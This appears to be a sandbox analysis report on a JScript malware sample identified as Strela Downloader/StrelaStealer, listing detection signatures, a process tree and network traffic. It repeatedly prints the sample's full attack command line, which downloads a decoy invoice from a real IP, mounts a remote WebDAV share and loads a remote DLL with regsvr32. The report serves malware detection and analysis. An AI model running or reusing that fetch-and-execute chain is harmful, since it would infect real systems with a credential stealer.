Edit tour

Windows Analysis Report
2609231882173488714.js

Overview

General Information

Sample name:	2609231882173488714.js
Analysis ID:	1588197
MD5:	370da5b45312f34a12361a4beb4e26be
SHA1:	aaedbd18e4e5163170773fc26d41380678ba0a8f
SHA256:	762821e001a480c54d1fa8ebee200ac6b16b65bd7c0e2527a5d44860b841e369
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6024 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1616 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3052 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3884 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7028 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1636,i,9349983815023827133,12440704141624935878,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2728 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4972 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6392 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6024	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3052, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3052, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", ProcessId: 6024, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4972, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1616, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1616, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1616, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1616, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1616, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", ProcessId: 6024, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3052, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2728, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4972, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6392, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2728, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4972, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1616, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:33:20.035354+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:33:17.276173+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2609231882173488714.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2609231882173488714.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2609231882173488714.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:33:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:65505 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

